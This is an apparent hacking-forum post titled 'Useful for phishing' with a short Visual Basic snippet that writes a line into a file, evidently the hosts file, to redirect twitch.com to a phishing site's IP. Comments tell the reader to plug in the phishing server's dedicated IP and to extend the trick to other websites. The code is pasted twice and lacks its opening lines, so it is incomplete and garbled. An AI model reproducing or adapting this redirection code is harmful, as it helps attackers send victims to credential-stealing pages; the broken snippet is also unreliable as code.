Useful for phishing 03-09-2015, 05:14 PM
#1
Option Explicit
Dim Text As String
Text = (vbNewLine & "phishingsiteip twitchwebsiteurl")
' Here above you can add more sites that will be filtered / redirected
' Note: you need dedicated IP on your phishing website to make this work.
' example: (vbNewLine & "121.124.42.1 twitch.com") the IP will be the dedicated IP of your phishing website.
Print #1, Text
Close #1
End Sub
' you can make this also for other websites.
Dim Text As String
Text = (vbNewLine & "phishingsiteip twitchwebsiteurl")
' Here above you can add more sites that will be filtered / redirected
' Note: you need dedicated IP on your phishing website to make this work.
' example: (vbNewLine & "121.124.42.1 twitch.com") the IP will be the dedicated IP of your phishing website.
Print #1, Text
Close #1
End Sub
' you can make this also for other websites.
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
![[Image: SouZ0uz.gif]](http://i.imgur.com/SouZ0uz.gif)
